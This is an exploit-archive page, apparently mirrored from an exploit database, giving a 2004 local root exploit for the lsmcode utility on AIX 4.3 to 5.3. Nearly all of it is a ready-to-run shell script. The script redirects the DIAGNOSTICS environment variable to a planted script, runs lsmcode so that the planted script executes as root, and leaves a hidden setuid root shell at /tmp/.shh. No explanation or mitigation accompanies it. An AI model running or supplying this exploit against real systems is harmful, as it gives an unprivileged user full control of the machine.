AIX 4.3/5.1 - 5.3 lsmcode Local Root Command Execution

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : AIX 4.3/5.1 - 5.3 lsmcode Local Root Command Execution
# Published : 2004-12-21
# Author : cees-bart
# Previous Title : Solaris 2.6/7/8/9 (ld.so.1) Local Root Exploit (sparc)
# Next Title : Aeon 0.2a Local Linux Exploit (perl code)

mkdirhier /tmp/aap/bin
export DIAGNOSTICS=/tmp/aap
cat > /tmp/aap/bin/Dctrl << EOF
#!/bin/sh
cp /bin/sh /tmp/.shh
chown root:system /tmp/.shh
chmod u+s /tmp/.shh
EOF
chmod a+x /tmp/aap/bin/Dctrl
lsmcode
/tmp/.shh

# www.Syue.com [2004-12-21]